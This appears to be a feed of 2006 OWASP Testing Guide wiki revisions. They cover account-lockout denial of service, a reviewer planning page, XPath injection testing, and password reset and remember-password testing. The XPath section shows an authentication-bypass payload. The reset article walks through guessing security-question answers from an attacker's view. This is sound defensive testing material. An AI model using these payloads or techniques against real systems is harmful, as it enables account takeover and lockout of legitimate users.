Note, there is a business vs. security balance that must be reached based on the specific circumstances surrounding a given application.  There are pros and cons to locking accounts, to customers being able to choose their own account names, to using systems such as CAPTCHA, and the like.  Each enterprise will need to balance these risks and benefits, but not all of the details of those decisions are covered here.  This section only focuses on testing for the DoS that becomes possible if lockouts and harvesting of accounts is possible.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing==&lt;br /&gt;
&lt;br /&gt;
The first test that must be performed is to test that an account does indeed lock after a certain number of failed logins.  If you have already determined a valid account name, use it to verify that accounts do indeed lock by deliberately sending at least 15 bad passwords to the system.  If the account does not lock after 15 attempts, it is unlikely that it will ever do so.  Keep in mind that applications often warn users when they are approaching the lockout threshold. This should help the tester especially when actually locking accounts is not desirable because of the rules of engagement. &lt;br /&gt;
&lt;br /&gt;
If no account name has been determined at this point in the testing, the tester should use the methods below to attempt to discover a valid account name.&lt;br /&gt;
&lt;br /&gt;
To determine valid account names, a tester should look to find places where the application discloses the difference between valid and invalid logins.  Common places this would occur are:&lt;br /&gt;
# The login page – Using a known login with a bad password, look at the error message returned to the browser.  Send another request with a completely improbable login that should not exist along with the same bad password, and observe the error message returned.  If the messages are different, this can be used to discover valid accounts.  Sometimes the difference between responses is so minor that it is not immediately visible. For instance, the message returned might be perfectly the same, but a slightly different average response time might be observed. Another way to check for this difference is to compare hashes of the HTTP response body from the server for both messages.  Unless the server puts data that changes on each request into the response, this will be the best test to see if there is any change at all between the responses.&lt;br /&gt;
# New account creation page – If the application allows people to create a new account that includes the ability to choose their account name, it may be possible to discover other accounts in this manner.  What happens if you try to create a new account using an account name that is already known to exist?  If this gives an error that you must choose a different name, this process may also be automated to determine valid account names.&lt;br /&gt;
# Password reset page – If the login page also has a function for recovering or resetting a password for a user, look at this function as well.  Does this function give different messages if you attempt to reset or recover an account that does not exist in the system?&lt;br /&gt;
&lt;br /&gt;
Once an attacker has the ability to harvest valid user accounts, or if the user accounts are based on a well-defined, predictable format, it is an easy exercise to automate the process of sending three to five bad passwords to each account.  If the attacker has determined a large number of user accounts, it is possible for them to deny legitimate access to a large portion of the user base.&lt;br /&gt;
&lt;br /&gt;
==Gray Box Testing==&lt;br /&gt;
&lt;br /&gt;
If information about the implementation of the application is available, look at the logic related to the functions mentioned in the Black Box testing section. Things to focus upon:&lt;br /&gt;
# If account names are generated by the system, what is the logic used to do this?  Is the pattern something that could be predicted by a malicious user?&lt;br /&gt;
# Determine if any of the functions that handle initial authentication, any re-authentication (if for some reason it is different logic than the initial authentication), password resets, password recovery, etc. differentiate between an account that exists and an account that does not exist in the errors it returns to the user.&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[category:Denial of Service Attack]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12524</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12524"/>
				<updated>2006-11-13T21:54:17Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 13th November, 11.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry&lt;br /&gt;
Alberto Revelli&lt;br /&gt;
Daniel Cuthbert&lt;br /&gt;
Matteo G.P. Flora&lt;br /&gt;
Matteo Meucci&lt;br /&gt;
Eoin Keary&lt;br /&gt;
Stefano Di Paola&lt;br /&gt;
James Kist&lt;br /&gt;
Vicente Aguilera&lt;br /&gt;
Mauro Bregolin&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed (no Meucci, Reviewed by EK) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry'''&lt;br /&gt;
5 of 5 articles to be reviewed (No Meucci, no Revelli) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed (No Meucci) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 of 21 articles to be reviewed &lt;br /&gt;
** '''4.6 Data Validation Testing''' : Reviewed by EK&lt;br /&gt;
** 4.6.1 - '''Cross site scripting''': Reviewed by EK (Reformatted it slightly with wiki tags)&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Eoin can you review Eng, please?&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%)&lt;br /&gt;
**4.6.2.2 Oracle testing (0%)&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%)&lt;br /&gt;
** 4.6.3 LDAP Injection (90%)&lt;br /&gt;
** 4.6.4 ORM Injection (0%)&lt;br /&gt;
** 4.6.5 XML Injection (80%)&lt;br /&gt;
** 4.6.6 SSI Injection (95%)&lt;br /&gt;
** 4.6.7 XPath Injection (80%)&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)&lt;br /&gt;
** 4.6.9 Code Injection (70%)&lt;br /&gt;
** 4.6.10 OS Commanding (70%)&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%)&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%)&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)&lt;br /&gt;
** 4.6.11.3 Format string (100%)&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing --&amp;gt;...'''&lt;br /&gt;
8 of 8 articles to be reviewed&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt;...'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Keary)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
6 of 6 articles to be reviewed (No Di Paola)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt;...'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=11524</id>
		<title>Testing for XPath Injection (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=11524"/>
				<updated>2006-11-03T18:41:34Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker in inject XPath elements in a query that uses this language in order to . Some of the possible goals are to bypass authentication or access information in an unauthorized fashion.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
Web applications heavily use databases to store and access the data they need for their operations. Since the dawn of the Internet, relational databases have been by far the most common paradigm, but in the last years we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed with the SQL language, XML databases use XPath, which is their standard interrogation language. Since from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that also XPath injection attacks follow the same logic of SQL Injection ones. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large slice of the techniques that can be used in a SQL Injection attack leverages the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, there are not ACLs enforced, as our query can access every part of the XML document.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The attack pattern was first published by Amit Klein (see References at the bottom of the page) and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
An XPath query that returns the account whose username is &amp;quot;gandalf&amp;quot; and the password is &amp;quot;!c3&amp;quot; would be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and &lt;br /&gt;
password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the application does not properly filter such input, the attacker will be able to inject XPath code and interfere with the query result. For instance, the attacker could input the following values:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Looks quite familiar, doesn't it ? &lt;br /&gt;
Using these parameters, the query becomes: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.&lt;br /&gt;
&lt;br /&gt;
And as in a common SQL Injection attack, also in the case of XPath inhection the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query and check whether the application returns an error message. &lt;br /&gt;
&lt;br /&gt;
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a fully blind attack whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. Also this technique is explained in more detail by Amit Klein in the referenced paper.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
* Amit Klein – Blind XPath Injection: https://www.watchfire.com/securearea/whitepapers.aspx?id=9&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11477</id>
		<title>Testing for Vulnerable Remember Password and Pwd Reset (OWASP-AT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11477"/>
				<updated>2006-11-02T23:46:08Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Several web applications allow users to reset their password if they have forgotten it, usually by sending them a password reset email and/or by asking them to answer one or more &amp;quot;security questions&amp;quot;. In this test we check that this function is properly implemented and that it does not introduce any flaw in the authentication scheme. We also check whether the application allows the user to store the password in the browser (&amp;quot;remember password&amp;quot; function).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
A great majority of web applications provide a way for users to recover (or reset) their password in case they have forgotten it. The exact procedure varies heavily among different applications, also depending on the required level of security, but the approach is always to use an alternate way of verifying the identity of the user. One of the simplest (and most common) approaches is to ask the user for his/her e-mail address, and send the old password (or a new one) to that address. This scheme is based on the assumption that the user's email has not been compromised and that is secure enough for this goal.&amp;lt;br&amp;gt;&lt;br /&gt;
Alternatively (or in addition to that), the application could ask the user to answer one or more &amp;quot;secret questions&amp;quot;, which are usually chosen by the user among a set of possible ones. The security of this scheme lies in the ability to provide a way for someone to identify themselves to the system with answers to questions that are not easily answerable via personal information lookups. As an example, a very insecure question would be “your mother’s maiden name” since that is a piece of information that an attacker could find out without extreme effort.  An example of a better question would be “favorite grade-school teacher” since this would be a much more difficult topic to research about a person whose identity may otherwise already be stolen.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another common feature that applications use to help users with bad memory is the possibility of caching the password in the browser and having it 'pre-typed' in all subsequent accesses. While this feature can be perceived as extremely friendly for the average user, at the same time it introduces a flaw, as the user account becomes easily accessible to anyone that uses the same machine account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
'''Password Reset''' &amp;lt;br&amp;gt;&lt;br /&gt;
The first step is to check whether secret questions are used. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the applicaton needs a high level of security.&amp;lt;br&amp;gt;&lt;br /&gt;
On the other hand, if secret question are used, the next step is to assessing their strength.&amp;lt;br&amp;gt;As a first point, how many questions need to be answered before the password can be reset ? The majority of applications only need the user to answer to one question, but some critical applications require the user to answer correctly to two or even more different questions.&amp;lt;br&amp;gt;&lt;br /&gt;
As a second step, we need to analyze the questions themselves. Often a self-reset system offers the choice of multiple questions; this is a good sign for the would-be attacker as this presents him/her with options. Ask yourself whether you could obtain answers to any or all of these questions via a simple Google search on the Internet or with some social engineering attack. As a potential attacker, here is a step-by-step walk through of assessing a password self-reset tool:&lt;br /&gt;
&lt;br /&gt;
* Are there multiple questions offered?&lt;br /&gt;
** If so, try to pick a question which would have a “public” answer; for example, something Google would find with a simple query&lt;br /&gt;
** Always pick questions which have a factual answer such as a “first school” or other facts which can be looked up&lt;br /&gt;
** Look for questions which have few possible options such as “what make was your first car”; this question would present the attacker with a short-list of answers to guess at and based on statistics the attacker could rank answers from most to least likely&lt;br /&gt;
* Determine how many guesses you have (if possible)&lt;br /&gt;
** Does the password reset allow unlimited attempts ?&lt;br /&gt;
** Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against users&lt;br /&gt;
* Pick the appropriate question based on analysis from above point, and do research to determine the most likely answers&lt;br /&gt;
* How does the password-reset tool (once a successful answer to a question is found) behave?&lt;br /&gt;
** Does it allow immediate change of the password?&lt;br /&gt;
** Does it display the old password?&lt;br /&gt;
** Does it email the password to some pre-defined email address?&lt;br /&gt;
** The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last login the victim would not know that his/her account has been compromised.&lt;br /&gt;
** A less insecure scenario is if the password reset tool forces the user to immediately change his/her password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out.&lt;br /&gt;
** The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application tells that) but also to compromise that account in order to take control of the victim access to the application.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The key to successfully exploiting and bypassing a password self-reset is to find a question or set of questions which give the possibility of easily acquiring the answers.  Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers.  In the end, a password self-reset tool is only as strong as the weakest question.&lt;br /&gt;
As a side note, if the application sends/visualizes the old password in cleartext it means that passwords are not stored in a hashed form, which is a security issue in itself already. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Password Remember'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;remember my password&amp;quot; mechanism can be implemented with one of the following methods:&lt;br /&gt;
# Allowing the &amp;quot;cache password&amp;quot; feature in web browsers. Although not directly an application mechanism, this can and should be disabled.&lt;br /&gt;
# Storing the password in a permanent cookie. The password must be hashed/encrypted and not sent in cleartext.&lt;br /&gt;
&lt;br /&gt;
For the first method, check the HTML code of the login page to see whether browser caching of the passwords is disabled. The code for this will usually be along the following lines:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;INPUT TYPE=&amp;quot;password&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The password autocomplete should always be disabled, especially in sensitive applications, since an attacker, if able to access the browser cache, could easily obtain the password in cleartext (public computers are a very notable example of this attack).&lt;br /&gt;
To check the second implementation type – examine the cookie stored by the application. Verify the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it appears a common well-known one, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
==Gray Box Testing and Examples==&lt;br /&gt;
This test uses only functional features of the application and HTML code that is always available to the client, the graybox testing follows the same guidelines of the previous paragraph. The only exception is for the password encoded in the cookie, where the same gray box analysis described in the [[Cookie and Session Token Manipulation AoC]] chapter can be applied&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11476</id>
		<title>Testing for Vulnerable Remember Password and Pwd Reset (OWASP-AT-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Vulnerable_Remember_Password_and_Pwd_Reset_(OWASP-AT-006)&amp;diff=11476"/>
				<updated>2006-11-02T23:44:19Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Several web applications allow users to reset their password if they have forgotten it, usually by sending them a password reset email and/or by asking them to answer one or more &amp;quot;security questions&amp;quot;. In this test we check that this function is properly implemented and that it does not introduce any flaw in the authentication scheme. We also check whether the application allows the user to store the password in the browser (&amp;quot;remember password&amp;quot; function).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
A great majority of web applications provide a way for users to recover (or reset) their password in case they have forgotten it. The exact procedure varies heavily among different applications, also depending on the required level of security, but the approach is always to use an alternate way of verifying the identity of the user. One of the simplest (and most common) approaches is to ask the user for his/her e-mail address, and send the old password (or a new one) to that address. This scheme is based on the assumption that the user's email has not been compromised and that is secure enough for this goal.&amp;lt;br&amp;gt;&lt;br /&gt;
